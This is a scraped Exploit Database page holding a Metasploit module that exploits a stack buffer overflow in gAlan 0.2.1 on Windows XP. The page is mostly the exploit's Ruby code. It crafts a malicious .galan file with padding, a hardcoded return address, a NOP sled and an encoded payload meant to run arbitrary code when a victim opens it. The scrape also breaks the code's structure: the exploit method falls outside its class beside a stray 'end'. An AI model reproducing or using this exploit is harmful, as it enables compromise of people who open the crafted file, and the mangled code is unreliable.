



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

gAlan 0.2.1 - Local Buffer Overflow (Metasploit) (2)

EDB-ID:

16664

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2010-09-25

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
      'Description' => %q{
        This module exploits a stack buffer overflow in gAlan 0.2.1
        By creating a specially crafted galan file, an an attacker may
        be able
        to execute arbitrary code.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Jeremy Brown <0xjbrown41 [at] gmail.com>',
          'loneferret',
        ],
      'Version' => '$Revision: 10477 $',
      'References' =>
        [
          [ 'OSVDB', '60897' ],
          [ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload' =>
        {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP Universal', { 'Ret' => 0x100175D0 } ],
          # 0x100175D0 call esi @ glib-1_3
        ],
      'Privileged' => false,
      'DisclosureDate' => 'Dec 07 2009',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.',
          'msf.galan' ]),
      ], self.class)
  end
end
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
def exploit
```

```
  sploit = "Mjik"
  sploit << rand_text_alpha_upper(1028)
  sploit << [target.ret].pack('V')
  sploit << "\x90" * 45
  sploit << payload.encoded
```

```
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(sploit)
```

```
end
```

```
end
```

Tags: [Metasploit Framework](#)
[\(MSF\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.